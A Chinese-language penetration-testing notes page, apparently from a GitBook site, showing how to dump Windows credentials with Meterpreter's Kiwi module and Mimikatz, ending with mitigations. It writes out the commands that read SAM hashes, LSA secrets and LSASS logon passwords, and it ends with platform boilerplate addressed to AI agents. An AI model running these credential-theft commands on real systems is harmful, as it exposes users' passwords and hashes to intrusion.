> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md).

# 使用 Mimikatz 转储 Windows 哈希

Mimikatz 和 Meterpreter Kiwi 可以从 LSASS、SAM 数据库和 LSA 密钥中提取 Windows 机密。使用结果来验证本地访问或会话遭入侵的影响。

## Meterpreter Kiwi 模块

```
load kiwi
```

<figure><img src="/files/1ee1baed6f1b9bf533f1618d046924af4fff6928" alt="Loading Kiwi in Meterpreter"><figcaption></figcaption></figure>

列出可访问的凭据：

```
creds_all
```

<figure><img src="/files/a2eca49ce79811d1dab7c15f210f9fb353175eed" alt="Kiwi credential listing"><figcaption></figcaption></figure>

## 转储 SAM 和 LSA 密钥

```
lsa_dump_sam
```

<figure><img src="/files/c072bc08c3a489f37bee46600fca221bfa3d8f86" alt="SAM dump with Kiwi"><figcaption></figcaption></figure>

```
lsa_dump_secrets
```

<figure><img src="/files/01750732e6bb83512a54d7873525d7b70e437715" alt="LSA secrets dump with Kiwi"><figcaption></figcaption></figure>

## 运行 Mimikatz

```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords
```

<figure><img src="/files/e0290aad5151e6606e0884e57c62778103bb68af" alt="Uploading Mimikatz"><figcaption></figcaption></figure>

<figure><img src="/files/aa2107badbe65b2d0a6a91d1d8d18bff31a8a763" alt="Mimikatz SAM and secrets commands"><figcaption></figcaption></figure>

<figure><img src="/files/b59b43870ed47d6b586a76dc80371e398d9872f4" alt="Mimikatz credential output"><figcaption></figcaption></figure>

## 关键要点

* LSASS 可能包含活动登录会话的凭据。
* SAM 包含本地账户的 NTLM 哈希。
* 可通过 Credential Guard、减少本地管理员暴露以及监控 LSASS 访问来缓解。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
